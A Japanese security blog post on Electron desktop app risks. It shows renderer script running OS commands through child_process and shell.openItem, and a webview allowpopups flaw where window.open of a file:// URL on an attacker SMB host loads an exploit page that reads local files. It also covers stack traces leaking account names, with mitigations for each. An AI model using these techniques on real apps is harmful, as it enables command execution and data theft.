Electronのセキュリティは難しい?

こんにちは。セキュリティ技術グループのはるぷです。今回はElectronのセキュリティについて調べてみました。

 

Electronとは、Node.jsとChromiumをベースとしたデスクトップアプリケーションを作成するクロスプラットフォーム実行環境です。HTMLやJavaScriptなどWeb技術によって、プラットフォームの違いを気にせずに手軽にWindows、Mac、Linuxのデスクトップアプリケーションを作成できるという部分が特徴です。

 

Web技術を利用して開発ができるため、Web技術者にとってはかなり簡単にデスクトップアプリケーションが作れるようになり、今後も様々なアプリケーションがElectronによって開発されていくようになるのではないかと考えています。

ElectronはHTMLおよびJavaScriptで記述でき、既存のWebベースのサービスと親和性が高く、Electronアプリケーションの内部で外部のコンテンツを読み込むケースも多くあると考えられます。

そこで、今回はElectronアプリケーションで外部のコンテンツを利用する際のセキュリティについて解説したいと思います。

 

Electronの基本の仕組み

Electronでは、Mainプロセスと呼ばれるプロセスと、Rendererプロセスと呼ばれるプロセスの2種類のプロセスから構成されます。ユーザが直接目にするのはRendererプロセスの部分となり、Rendererプロセスとは通常のデスクトップアプリのWindowをイメージしてもらえればいいと思います。また、Mainプロセスが、BrowserWindowクラスを通じて複数Rendererプロセスを立ち上げ管理する、というような形になっています。

デスクトップアプリケーションなので、ブラウザ(Chromium)としての機能だけでなく、OSの機能等を使える仕組みになっているのですが、Rendererプロセス側ではこの機能が使えるかどうかを制御できるようになっています。

Electronアプリケーションでは、OSの機能を簡単に利用できるという利点がある反面、万が一悪用されてしまうと被害も大きくなってしまうという点に注意して開発することが必要です。

 

Electronのサンプルアプリ

本記事では、Electron開発時に注意する点を、簡単なElectronアプリケーションを利用して解説していきたいと思います。Electronのtutorialを参考にしながら作成していきます。※簡単のために、一部変更を加えています。

package.json

{
  "name"    : "your-app",
  "version" : "0.1.0",
  "main"    : "main.js"
}

main.js

'use strict';
const electron = require('electron');
const app = electron.app;
const BrowserWindow = electron.BrowserWindow;

var mainWindow = null;
app.on('window-all-closed', function() {
  if (process.platform != 'darwin') {
    app.quit();
  }
});
app.on('ready', function() {
  mainWindow = new BrowserWindow({width: 400, height: 300});
  mainWindow.loadURL('file://' + __dirname + '/index.html');
  mainWindow.webContents.openDevTools();
  mainWindow.on('closed', function() {
    mainWindow = null;
  });
});

index.html

<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8">
    <title>Hello World!</title>
  </head>
  <body>
    Hello World!
  </body>
</html>

これを実行すると以下のようになります。「Hello World!」という文字列と、開発者ツールが表示されています。

電卓の実行とBrowserWindow

では、次にOSの機能を使うサンプルとして電卓を立ち上げる例を紹介します。index.htmlに以下の記述を追加することで簡単にOSコマンドを実行することが可能です。

<script>
var child_process = require('child_process');
child_process.exec('calc.exe',null);
</script>

OSコマンドを実行する機能のほかに、「ファイルを開く」という動作を行う以下のような記述でも電卓を実行することが可能です。※細工をすることで特定の条件下で任意のコマンドを実行することも可能です。

var shell = require('electron').shell;
shell.openItem("c:/windows/system32/calc.exe");
shell.openExternal("c:/windows/system32/calc.exe");

これらの機能をRendererプロセス上(index.html)で利用できるのは、node-integrationというプロパティが有効になっているからなのですが、下記のように明示的に無効にすることで利用できなくすることが可能です。

mainWindow = new BrowserWindow({width: 800, height: 600, "nodeIntegration":false});

※但し、本記事執筆時点(v0.37.7)では、HTML内でwebviewタグが利用可能な場合node-integrationを再有効化させることが可能となる問題が報告されています
(参考:
Disable webview when node integration is off, Disable node in webviews when disabled in parent window)。

セキュリティ的な観点で考えた場合に、node-integrationが有効なWindow上に第三者が記述したJavaScriptが混入しうるケースが存在します。その場合、「Electronアプリケーションを実行しているPC上で任意のOSコマンドが実行できる」ということになってしまい危険な状態となります。

完全にローカルのみで動作するようなアプリケーションを作成した場合、このようなことはありませんが、サーバから動的にコンテンツを取得して表示するような仕組みをとっている場合は、悪意のあるスクリプトを混入させられる可能性が出てきます。

その為、node-integrationが有効なWindow上では任意のHTMLを記述できないという状態にする必要があります。具体的には、BrowserWindowには外部コンテンツは直接読み込まず、node-integrationが無効なwebviewを利用する必要があります。

v0.37.4未満では、node-integrationを悪意のあるスクリプトから再有効化することが可能になっていましたが、webview内でのnode-integrationの有効状態は親のWindowを引き継ぐという対応が入っているため、webviewタグを追加できるような場合でない限り、不用意にnode-integrationを有効化されない様に変更されています。
(参考:
https://github.com/electron/electron/pull/4897

webviewとwindow.open

node-integrationが無効なwebviewを利用した場合でも、webviewにallowpopups属性を指定している場合は、セキュリティ的に問題のある状態になってしまうことが確認されています。

index.htmlを以下のように変更したとします。

index.html

<!DOCTY\PE html>
<html>
  <head>
    <meta charset="UTF-8">
    <title>Hello World!</title>
  </head>
  <body>
    Hello World!
    <script>
        var webview = document.createElement("webview");
        webview.setAttribute("src", "http://www.example.com/");
        webview.setAttribute("allowpopups", "true");
        document.body.appendChild(webview);
    </script>
  </body>
</html>

この時、「http://www.example.com/」上のコンテンツでは、node-integrationが有効になっていないため、前述のようなOSコマンドを実行するようなことはできません。しかし、以下のようにwindow.openによってfileスキームを開くようなコードが入っていた場合、Same-Origin Policyの制約がない状態で任意のファイルを開くことが可能になってしまっています。

window.open("file://192.168.56.101/public/exploit.html", "webview title");

Windowsでは(※)、fileスキームで外部サーバのIPアドレスやホスト名の指定が有効なため、fileスキームで開いた先が悪意のあるスクリプトの入っているHTMLページということが起きえます。

※Macの場合は、fileスキームで外部サーバを指定できないため、smb://などでマウントさせfile://でローカルのファイルとして開くことで同じことが実現できてしまいます。

下記は、192.168.56.101上にSambaサーバを立てて、「file://192.168.56.101/public/exploit.html」でコンテンツへアクセスできるようにし、「file:///C:/Windows/System32/drivers/etc/hosts」を読み込むHTMLを設置した例になります。

通常のブラウザ(Chromiumを含む)であれば、window.openでfileスキームを指定しても開くことができない制約が入っていますが、Electronでは、このwindow.openをoverride.jsによってoverrideしていてブラウザとは異なる挙動をする仕様になっています。この処理を追っていくと、スキームやホスト名等のチェックがないために、上記のようにfileスキームを指定してWindowを開くことが可能になります。この方法で開いたページ上では、任意のファイルや、任意のサイトのコンテンツを読み込むことができる、いわば特権状態で動作する仕様になっているため、ユーザの重要情報を奪取されてしまう可能性が出てきます。

従って、webviewを利用して信頼できないサイトを開いたり、信頼できるがCross-Site Scriptingの可能性が0ではないサイトを開いたりする場合、単純にwebviewにallowpopups属性を付与した形では安全に利用することはできないと考えられます。

そこで、allowpopups属性を付与せず、新しいWindowを開く際のイベントをハンドリングすることでこの事象に対応することを考えます。webviewタグのaddEventListenerを利用する場合は以下のように記述することになると思います。

addEventListenerのみで対応を試みる例:

//webview.setAttribute("allowpopups", "true"); -> コメントアウト
webview.addEventListener('new-window', function(e) {
    var protocol = require('url').parse(e.url).protocol;
    if(protocol !== 'http:' && protocol !== 'https:') {//プロトコルをチェック
        return;
    }
    window.open(e.url);
});

しかし、この方法だけでは、新しくwindow.openで開いたWindow側では同様のイベント制御を入れることができないため、新しく開いたWindowで任意のURLが開けるという問題が再度発生してしまいます。

上記の脆弱な挙動に対応しようとした場合、Rendererプロセス側ではなく、Mainプロセス側でも対処する必要があります。新しいWindowを開く場合、Rendererプロセスが直接新しいWindowを生成するのではなく、MainプロセスとIPCによって通信を行い、Mainプロセスが新しいWindowを開くようになっています。

以下のように、Mainプロセス側で'browser-window-created'イベントを利用して、プロトコルがhttpまたはhttpsではない場合に処理を停止する、といった制御を書くことが可能です。

対応例(main.js):

app.on('browser-window-created', function (event, window) {
  window.webContents.on('new-window', function(event, url, frameName, disposition, options) {
    var protocol = require('url').parse(url).protocol;
    if(protocol !== 'http:' && protocol !== 'https:') {//プロトコルをチェック
      event.defaultPrevented = true;
      console.log("Invalid URL:"+url);
    }
  });
})

本気時執筆時点では、上記のようにすることで対応は可能で、不用意にfileスキームで想定外のコンテンツを開かれることを抑制可能ですが、Electron側で根本的な対応が行われることが期待されます(参考:issues#5151)。

 

Override.jsによる別の影響

前述のwindow.openの挙動は、override.jsによって引き起こされている事象なのですが、この独自の仕組みの部分で別のセキュリティの問題も起きています。override.js内、または、その先のElectronのコード内でエラーがThrowされると、エラーメッセージ内やスタックトレース内にエラー発生箇所が以下のような形で出力されます。

Could not call remote function ''. Check that the function signature is correct. Underlying error: Title must be a string 
Error: Could not call remote function ''. Check that the function signature is correct. Underlying error: Title must be a string
 at callFunction (C:\Users\harupu\AppData\Local\blog_sample\resources\electron.asar\browser\rpc-server.js:237:11)
 : (以降略)

一見普通のエラーメッセージですが、このエラーメッセージがwebviewで読み込んだ外部サーバ上で取得ができるということになると意味合いがかなり違ってきます。

エラーメッセージの内容をよく見ると、以下の部分にPCのローカルPathが含まれています。

(C:\Users\harupu\AppData\Local\blog_sample\resources\electron.asar\browser\rpc-server.js:237:11)

例えば上記のようにWindowsでUserHome(%HOMEPATH%)配下にインストールされることが想定されている場合、アカウント名がPath内に含まれてしまうことになります。ここに個人情報が含まれることは大いにあるため、外部のサーバから取得できてはよくない情報となります。(参考:issues#5148

実際にエラーを発生させてアカウント名を取得した例を以下に示します。

この問題にアプリケーションを開発している側で対応するのは結構大変で、override.js自体でエラーハンドリングを行うように変更することが必要になります。

変更例(複数個所必要です):

window.open = function (url, frameName, features) {
 try{ //追加部分
  var feature, guestId, i, j, len, len1, name, options, ref1, ref2, value
 :(中略)
  if (guestId) {
    return BrowserWindowProxy.getOrCreate(guestId)
  } else {
    return null
  }
 }catch(e) { //追加部分
  console.log(e.message);
 }
}

こちらも、Electron側で根本的な対応が行われることが期待されます。

 

まとめ

Electronはとても有用な技術ではありますが、強力な機能が利用できるため、セキュリティ情報にも十分注意する必要があります。セキュリティに関しては、まだ発展途上にある技術であり今後もクリティカルなセキュリティの問題が発見される可能性があるかもしれません。Electronを利用して安全にデスクトップアプリケーションを開発・運用するためにも、今後のセキュリティ情報について追従し適切にアップデートを行える体制で望みましょう!